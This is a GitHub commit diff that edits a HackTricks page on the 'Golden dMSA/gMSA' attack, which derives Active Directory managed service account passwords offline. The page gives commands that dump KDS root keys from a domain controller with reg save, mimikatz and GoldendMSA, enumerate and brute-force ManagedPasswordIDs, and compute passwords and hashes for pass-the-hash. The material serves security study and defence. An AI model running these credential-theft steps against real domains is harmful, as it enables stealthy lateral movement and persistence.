Skip to content

Commit 15fcb97

Browse files
authored
Merge pull request #1160 from maladi17/fix-dmsa
Update golden-dmsa-gmsa.md
2 parents 251577f + 69f5b96 commit 15fcb97

1 file changed

Lines changed: 21 additions & 12 deletions

File tree

src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md

Lines changed: 21 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -23,19 +23,19 @@ No Kerberos traffic or domain interaction is required during normal password usa
2323

2424
If an attacker can obtain all three inputs **offline** they can compute **valid current and future passwords** for **any gMSA/dMSA in the forest** without touching the DC again, bypassing:
2525

26-
* Kerberos pre-authentication / ticket request logs
2726
* LDAP read auditing
2827
* Password change intervals (they can pre-compute)
2928

3029
This is analogous to a *Golden Ticket* for service accounts.
3130

3231
### Prerequisites
3332

34-
1. **Forest-level compromise** of **one DC** (or Enterprise Admin). `SYSTEM` access is enough.
33+
1. **Forest-level compromise** of **one DC** (or Enterprise Admin), or `SYSTEM` access to one of the DCs in the forest.
3534
2. Ability to enumerate service accounts (LDAP read / RID brute-force).
3635
3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
3736

38-
### Phase 1 – Extract the KDS Root Key
37+
### Golden gMSA / dMSA
38+
##### Phase 1 – Extract the KDS Root Key
3939

4040
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
4141

@@ -46,17 +46,26 @@ reg save HKLM\SYSTEM system.hive
4646
# With mimikatz on the DC / offline
4747
mimikatz # lsadump::secrets
4848
mimikatz # lsadump::trust /patch # shows KDS root keys too
49+
50+
# With GoldendMSA
51+
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
52+
GoldendMSA.exe kds
53+
54+
# With GoldenGMSA
55+
GoldenGMSA.exe kdsinfo
4956
```
5057
The base64 string labelled `RootKey` (GUID name) is required in later steps.
5158

52-
### Phase 2 – Enumerate gMSA/dMSA objects
59+
##### Phase 2 – Enumerate gMSA / dMSA objects
5360

5461
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
5562

5663
```powershell
5764
# Authenticated or anonymous depending on ACLs
5865
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
5966
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
67+
68+
GoldenGMSA.exe gmsainfo
6069
```
6170

6271
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes:
@@ -69,10 +78,10 @@ GoldendMSA.exe info -d example.local -m ldap
6978
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
7079
```
7180

72-
### Phase 3 – Guess / Discover the ManagedPasswordID (when missing)
81+
##### Phase 3 – Guess / Discover the ManagedPasswordID (when missing)
7382

7483
Some deployments *strip* `msDS-ManagedPasswordId` from ACL-protected reads.
75-
Because the GUID is 128-bit, naïve bruteforce is infeasible, but:
84+
Because the GUID is 128-bit, naive bruteforce is infeasible, but:
7685

7786
1. The first **32 bits = Unix epoch time** of the account creation (minutes resolution).
7887
2. Followed by 96 random bits.
@@ -84,16 +93,14 @@ GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUI
8493
```
8594
The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute – the match reveals the correct GUID.
8695

87-
### Phase 4 – Offline Password Computation & Conversion
96+
##### Phase 4 – Offline Password Computation & Conversion
8897

8998
Once the ManagedPasswordID is known, the valid password is one command away:
9099

91100
```powershell
92101
# derive base64 password
93-
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
94-
95-
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
96-
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
102+
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
103+
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
97104
```
98105
The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Rubeus** for Kerberos abuse, enabling stealth **lateral movement** and **persistence**.
99106

@@ -108,13 +115,15 @@ The resulting hashes can be injected with **mimikatz** (`sekurlsa::pth`) or **Ru
108115
## Tooling
109116

110117
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – reference implementation used in this page.
118+
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – reference implementation used in this page.
111119
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz)`lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
112120
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket using derived AES keys.
113121

114122
## References
115123

116124
- [Golden dMSA – authentication bypass for delegated Managed Service Accounts](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
125+
- [gMSA Active Directory Attacks Accounts](https://www.semperis.com/blog/golden-gmsa-attack/)
117126
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
118127
- [Improsec – Golden gMSA trust attack](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
119128

120-
{{#include ../../banners/hacktricks-training.md}}
129+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)